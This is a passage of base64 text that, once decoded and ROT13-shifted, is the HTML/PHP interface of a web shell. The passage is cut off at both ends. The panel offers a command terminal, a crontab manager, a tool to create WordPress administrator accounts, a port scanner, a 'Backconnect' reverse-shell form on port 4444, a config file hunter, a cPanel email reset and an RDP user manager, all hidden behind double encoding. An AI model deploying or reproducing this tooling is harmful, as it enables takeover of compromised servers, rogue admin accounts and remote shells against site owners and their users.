g0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3JlenZhbnkiPjwvdj4gRmxmZ3J6IEdyZXp2YW55DQogICAgICAgICAgICAgICAgICAgIDwvdTM+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBienpuYXEtdXZmZ2JlbCIgdnE9InBienpuYXFVdmZnYmVsIj48L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZyIgdnE9ImdyZXp2YW55QmhnY2hnIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJwYnliZTogIzdzOHA4cTsiPi8vIEdyZXp2YW55IGVybnFsLiBHbGNyIHBienpuYXFmIG9yeWJqLjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7IHpuZXR2YS1vYmdnYno6IDEwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0icGJ6em5hcSIgcHluZmY9ImdyZXp2YW55LXZhY2hnIiBjeW5wcnVieXFyZT0iUmFncmUgcGJ6em5hcS4uLiIgdnE9ImdyZXp2YW55VmFjaGciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1maHBwcmZmIiBiYXB5dnB4PSJya3JwaGdyUGJ6em5hcSgpIiB2cT0icmtycGhnck9nYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tY3lubCI+PC92PiBSa3JwaGdyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHRuYzogNWNrOyBzeXJrLWplbmM6IGplbmM7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZnJwYmFxbmVsIiBiYXB5dnB4PSJweXJuZUdyZXp2YW55KCkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLW9lYmJ6Ij48L3Y+IFB5cm5lDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXZhc2IiIGJhcHl2cHg9InZhZnJlZ1BienpiYVBienpuYXEoJ2NqcScpIj5janE8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtdmFzYiIgYmFweXZweD0idmFmcmVnUGJ6emJhUGJ6em5hcSgneWYgLXluJykiPnlmIC15bjwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS12YXNiIiBiYXB5dnB4PSJ2YWZyZWdQYnp6YmFQYnp6bmFxKCdqdWJuenYnKSI+anVibnp2PC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXZhc2IiIGJhcHl2cHg9InZhZnJlZ1BienpiYVBienpuYXEoJ3ZxJykiPnZxPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXZhc2IiIGJhcHl2cHg9InZhZnJlZ1BienpiYVBienpuYXFKdmd1UXZlKCd5ZiAteW4nKSI+eWYgLXluIChwaGVlcmFnIHF2ZSk8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8IS0tIFBlYmFnbm8gWm5hbnRyZSBHbm8gLS0+DQogICAgICAgICAgICA8cXZpIHZxPSJwZWJhZ25vIiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiPg0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tcHlicHgiPjwvdj4gUGViYWdubyBabmFudHJlDQogICAgICAgICAgICAgICAgICAgIDwvdTM+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZyIgdnE9InBlYmFnbm9CaGdjaGciIGZnbHlyPSJ1cnZ0dWc6IDUwY2s7Ij5ZYm5xdmF0IHBlYmFnbm8uLi48L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxncmtnbmVybiB2cT0icGViYWdub1BiYWdyYWciIGZnbHlyPSJqdnFndToxMDAlOyB1cnZ0dWc6MjAwY2s7IHpuZXR2YToxMGNrIDA7IHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7IHNiYWctZnZtcjogMTNjazsiIGN5bnBydWJ5cXJlPSJScXZnIHBlYmFnbm8gcGJhZ3JhZyB1cmVyLi4uIj48L2dya2duZXJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0icXZmY3lubDogc3lyazsgdG5jOiAxMGNrOyBzeXJrLWplbmM6IGplbmM7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiIgYmFweXZweD0iZm5pclBlYmFnbm8oKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZm5pciI+PC92PiBGbmlyIFBlYmFnbm8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtdmFzYiIgYmFweXZweD0ieWJucVBlYmFnbm8oKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZmxhcCI+PC92PiBFcnlibnENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2Etam5lYXZhdCIgYmFweXZweD0ibnFxUGViYWdub1JrbnpjeXIoKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tY3loZiI+PC92PiBOcXEgUmtuemN5cg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1mcnBiYXFuZWwiIGJhcHl2cHg9InB5cm5lUGViYWdubygpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1yZW5mcmUiPjwvdj4gUHlybmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KDQogICAgICAgICAgICA8IS0tIEpiZXFDZXJmZiBIZnJlIEdubyAtLT4NCiAgICAgICAgICAgIDxxdmkgdnE9ImpjSGZyZSIgcHluZmY9Imduby1wYmFncmFnIj4NCiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmcnBndmJhIj4NCiAgICAgICAgICAgICAgICAgICAgPHUzIGZnbHlyPSJ6bmV0dmEtb2JnZ2J6OiAxNWNrOyI+TnFxIEpiZXFDZXJmZiBIZnJlPC91Mz4NCiAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZ3JlenZhbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZ3JlenZhbnktYmhnY2hnIiB2cT0iamNIZnJlQmhnY2hnIiBmZ2x5cj0idXJ2dHVnOiAxMDBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNiZXogdnE9ImpjSGZyZVNiZXoiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJqY19wYmFzdnRfY25ndSIgY3lucHJ1YnlxcmU9IkNuZ3UgZ2IgamMtcGJhc3Z0LmN1YyAoci50LiwgL2luZS9qamovdWd6eS9qYy1wYmFzdnQuY3VjKSIgZmdseXI9InpuZXR2YTogMTBjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImhmcmVhbnpyIiBjeW5wcnVieXFyZT0iSGZyZWFuenIiIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJjbmZmamJlcSIgYW56cj0iY25mZmpiZXEiIGN5bnBydWJ5cXJlPSJDbmZmamJlcSIgZmdseXI9InpuZXR2YTogMTBjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InJ6bnZ5IiBhbnpyPSJyem52eSIgY3lucHJ1YnlxcmU9IlJ6bnZ5IiBmZ2x5cj0iem5ldHZhOiAxMGNrIDA7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZnJ5cnBnIGFuenI9ImVieXIiIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhIGlueWhyPSJmaG9mcGV2b3JlIj5GaG9mcGV2b3JlPC9iY2d2YmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiY2d2YmEgaW55aHI9InBiYWdldm9oZ2JlIj5QYmFnZXZvaGdiZTwvYmNndmJhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhIGlueWhyPSJuaGd1YmUiPk5oZ3ViZTwvYmNndmJhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhIGlueWhyPSJycXZnYmUiPlJxdmdiZTwvYmNndmJhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YmNndmJhIGlueWhyPSJucXp2YXZmZ2VuZ2JlIj5OcXp2YXZmZ2VuZ2JlPC9iY2d2YmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mcnlycGc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0icXZmY3lubDogc3lyazsgdG5jOiAxMGNrOyB6bmV0dmEtZ2JjOiAyMGNrOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1maHBwcmZmIiBiYXB5dnB4PSJucXFKY0hmcmUoKSI+TnFxIEhmcmU8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXZhc2IiIGJhcHl2cHg9InN2YXFKY1BiYXN2dCgpIj5TdmFxIGpjLXBiYXN2dC5jdWM8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2Jlej4NCiAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICA8L3F2aT4NCg0KICAgICAgICAgICAgPCEtLSBDYmVnIEZwbmFhcmUgR25vIC0tPg0KICAgICAgICAgICAgPHF2aSB2cT0iY2JlZ0ZwbmFhcmUiIHB5bmZmPSJnbm8tcGJhZ3JhZyI+DQogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZnJwZ3ZiYSI+DQogICAgICAgICAgICAgICAgICAgIDx1MyBmZ2x5cj0iem5ldHZhLW9iZ2diejogMTVjazsiPkNiZWcgRnBuYWFyZTwvdTM+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZyIgdnE9ImNiZWdGcG5hYXJlQmhnY2hnIiBmZ2x5cj0idXJ2dHVnOiAzMDBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIHZxPSJmcG5hVWJmZyIgY3lucHJ1YnlxcmU9IlViZmcgKHIudC4sIHlicG55dWJmZyBiZSBWQykiIGlueWhyPSJ5YnBueXViZmciIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIHZxPSJmcG5hQ2JlZ2YiIGN5bnBydWJ5cXJlPSJDYmVnZiAocGJ6em4gZnJjbmVuZ3JxKSIgaW55aHI9IjIxLDIyLDIzLDI1LDUzLDgwLDExMCwxMTUsMTM1LDEzOSwxNDMsMTk0LDQ0Myw0NDUsOTkzLDk5NSwxNDMzLDMzMDYsMzM4OSw1NDMyLDU5MDAsNjM3OSwyNzAxNyIgZmdseXI9InpuZXR2YTogMTBjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiIgYmFweXZweD0iZnBuYUNiZWdmKCkiPkZwbmEgQ2JlZ2Y8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtdmFzYiIgYmFweXZweD0iZGh2cHhGcG5hKCkiPkRodnB4IEZwbmE8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZnJwYmFxbmVsIiBiYXB5dnB4PSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnY2JlZ0ZwbmFhcmVCaGdjaGcnKS52YWFyZVVHWlkgPSAnJyI+UHlybmU8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KDQogICAgICAgICAgICA8IS0tIEpyb2Z1cnl5IEZwbmFhcmUgR25vIC0tPg0KICAgICAgICAgICAgPHF2aSB2cT0ianJvZnVyeXlGcG5hYXJlIiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiPg0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij5Kcm9mdXJ5eSBGcG5hYXJlPC91Mz4NCiAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZ3JlenZhbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZ3JlenZhbnktYmhnY2hnIiB2cT0ianJvZnVyeXlGcG5hYXJlQmhnY2hnIiBmZ2x5cj0idXJ2dHVnOiA1MGNrOyI+PC9xdmk+DQogICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZ3JrZyIgdnE9ImZwbmFDbmd1IiBjeW5wcnVieXFyZT0iQ25ndSBnYiBmcG5hIChyLnQuLCAvaW5lL2pqaikiIGlueWhyPSIvaW5lL2pqaiIgZmdseXI9InpuZXR2YTogMTBjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtcW5hdHJlIiBiYXB5dnB4PSJmcG5hSnJvZnVyeXlmKCkiPkZwbmEgc2JlIEpyb2Z1cnl5Zjwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1mcnBiYXFuZWwiIGJhcHl2cHg9InFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdqcm9mdXJ5eUZwbmFhcmVCaGdjaGcnKS52YWFyZVVHWlkgPSAnJyI+UHlybmU8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSB2cT0ianJvZnVyeXlFcmZoeWdmIiBmZ2x5cj0iem5ldHZhLWdiYzogMjBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KDQogICAgICAgICAgICA8IS0tIE9ucHhwYmFhcnBnIEdubyAtLT4NCiAgICAgICAgICAgIDxxdmkgdnE9Im9ucHhwYmFhcnBnIiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiPg0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij5PbnB4cGJhYXJwZzwvdTM+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZyIgdnE9Im9ucHhwYmFhcnBnQmhnY2hnIiBmZ2x5cj0idXJ2dHVnOiAzMDBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIHZxPSJvbnB4cGJhYXJwZ1ViZmciIGN5bnBydWJ5cXJlPSJMYmhlIFZDIG5xcWVyZmYiIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIHZxPSJvbnB4cGJhYXJwZ0NiZWciIGN5bnBydWJ5cXJlPSJDYmVnIiBpbnlocj0iNDQ0NCIgZmdseXI9InpuZXR2YTogMTBjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiIgYmFweXZweD0iZmduZWdPbnB4cGJhYXJwZygpIj5GZ25lZyBPbnB4cGJhYXJwZzwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS12YXNiIiBiYXB5dnB4PSJmdWJqT25weHBiYWFycGdVcnljKCkiPlVyeWM8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDwvcXZpPg0KDQogICAgICAgICAgICA8IS0tIFBiYXN2dCBVaGFncmUgR25vIC0tPg0KICAgICAgICAgICAgPHF2aSB2cT0icGJhc3Z0VWhhZ3JlIiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiPg0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij5QYmFzdnQgU3Z5ciBVaGFncmU8L3UzPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueS1iaGdjaGciIHZxPSJwYmFzdnRVaGFncmVCaGdjaGciIGZnbHlyPSJ1cnZ0dWc6IDUwY2s7Ij48L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiB2cT0icGJhc3Z0RnBuYUNuZ3UiIGN5bnBydWJ5cXJlPSJDbmd1IGdiIGZwbmEgKHIudC4sIC9pbmUvampqKSIgaW55aHI9Ii9pbmUvampqIiBmZ2x5cj0iem5ldHZhOiAxMGNrIDA7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHRuYzogMTBjazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS12YXNiIiBiYXB5dnB4PSJmcG5hUGJhc3Z0U3Z5cmYoKSI+RnBuYSBQYmFzdnQgU3Z5cmY8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZnJwYmFxbmVsIiBiYXB5dnB4PSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGJhc3Z0VWhhZ3JlQmhnY2hnJykudmFhcmVVR1pZID0gJyciPlB5cm5lPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgdnE9InBiYXN2dEVyZmh5Z2YiIGZnbHlyPSJ6bmV0dmEtZ2JjOiAyMGNrOyI+PC9xdmk+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPC9xdmk+DQoNCiAgICAgICAgICAgIDwhLS0gcENuYXJ5IEVyZnJnIEdubyAtLT4NCiAgICAgICAgICAgIDxxdmkgdnE9InBjbmFyeUVyZnJnIiBweW5mZj0iZ25vLXBiYWdyYWciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZycGd2YmEiPg0KICAgICAgICAgICAgICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDE1Y2s7Ij5wQ25hcnkgRXJmcmc8L3UzPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueS1iaGdjaGciIHZxPSJwY25hcnlFcmZyZ0JoZ2NoZyIgZmdseXI9InVydnR1ZzogNTBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InJ6bnZ5IiB2cT0icGNuYXJ5UnpudnkiIGN5bnBydWJ5cXJlPSJBcmogcnpudnkgbnFxZXJmZiBzYmUgcENuYXJ5IiBmZ2x5cj0iem5ldHZhOiAxMGNrIDA7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHRuYzogMTBjazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1qbmVhdmF0IiBiYXB5dnB4PSJlcmZyZ1BjbmFyeSgpIj5FcmZyZyBwQ25hcnkgUnpudnk8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtdmFzYiIgYmFweXZweD0iZnVialBjbmFyeVVyeWMoKSI+VXJ5Yzwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPC9xdmk+DQoNCiAgICAgICAgICAgIDwhLS0gRVFDIFpuYW50cmUgR25vIC0tPg0KICAgICAgICAgICAgPHF2aSB2cT0iZXFjWm5hbnRyZSIgcHluZmY9Imduby1wYmFncmFnIj4NCiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmcnBndmJhIj4NCiAgICAgICAgICAgICAgICAgICAgPHUzIGZnbHlyPSJ6bmV0dmEtb2JnZ2J6OiAxNWNrOyI+RVFDIFpuYW50cmUgKEp2YXFiamYgQmF5bCk8L3UzPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncmV6dmFueS1iaGdjaGciIHZxPSJlcWNabmFudHJlQmhnY2hnIiBmZ2x5cj0idXJ2dHVnOiAxMDBjazsiPjwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0iem5ldHZhOiAxNWNrIDA7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dTQ+TnFxIEVRQyBIZnJlPC91ND4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZ3JrZyIgdnE9ImVxY0hmcmVhbnpyIiBjeW5wcnVieXFyZT0iSGZyZWFuenIiIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJjbmZmamJlcSIgdnE9ImVxY0NuZmZqYmVxIiBjeW5wcnVieXFyZT0iQ25mZmpiZXEiIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHRuYzogMTBjazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiIgYmFweXZweD0ibnFxRXFjSGZyZSgpIj5OcXEgRVFDIEhmcmU8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLWpuZWF2YXQiIGJhcHl2cHg9InJhbm95ckVxYygpIj5SYW5veXIgRVFDPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InpuZXR2YTogMTVjayAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHU0PkVRQyBWYXNiZXpuZ3ZiYTwvdTQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0ib25weHRlYmhhcTogI3M4czlzbjsgY25xcXZhdDogMTVjazsgb2JlcXJlLWVucXZoZjogNWNrOyBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOyBzYmFnLWZ2bXI6IDEyY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5GcmVpcmUgVkM6PC9mZ2ViYXQ+IDw/Y3VjIHJwdWIgJF9GUkVJUkVbJ0ZSRUlSRV9OUVFFJ10gPz8gJF9GUkVJUkVbJ1lCUE5ZX05RUUUnXSA/PyB0cmd1YmZnb2xhbnpyK